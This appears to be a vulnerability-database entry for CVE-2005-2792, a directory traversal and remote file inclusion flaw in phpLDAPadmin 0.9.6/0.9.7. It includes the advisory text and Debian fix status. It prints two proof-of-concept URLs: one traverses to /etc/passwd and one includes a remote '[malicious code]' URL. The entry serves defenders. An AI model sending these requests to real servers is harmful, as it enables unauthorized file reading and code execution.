CVE-2005-2792
Description
Directory traversal vulnerability in welcome.php in phpLDAPadmin 0.9.6 and 0.9.7 allows remote attackers to read arbitrary files via a .. (dot dot) in the custom_welcome_page parameter.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
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Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
phpLDAPadmin 0.9.6/0.9.7 - 'welcome.php' Arbitrary File Inclusion
source: https://www.securityfocus.com/bid/14695/info
phpldapadmin is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
phpldapadmin is prone to a directory traversal vulnerability. An attacker can exploit this vulnerability to retrieve arbitrary files on the vulnerable system in the security context of the Web server process. Information obtained may aid in further attacks against the underlying system; other attacks are also possible.
phpldapadmin is prone to a remote file include vulnerability. An attacker can exploit this vulnerability to execute arbitrary PHP script code in the security context of the Web server process.
phpldapadmin is also prone to a cross-site scripting vulnerability. An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.
http://www.example.com/phpldapadmin/welcome.php?custom_welcome_page=../../../../../../../../etc/passwd
http://www.example.com/phpldapadmin/welcome.php?custom_welcome_page=http://www.example.com/[malicious code]OS impact
Debian Fixed 4 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 0.9.6c-7 |
| sid | Fixed | 0.9.6c-7 |
| forky | Fixed | 0.9.6c-7 |
| bookworm | Fixed | 0.9.6c-7 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.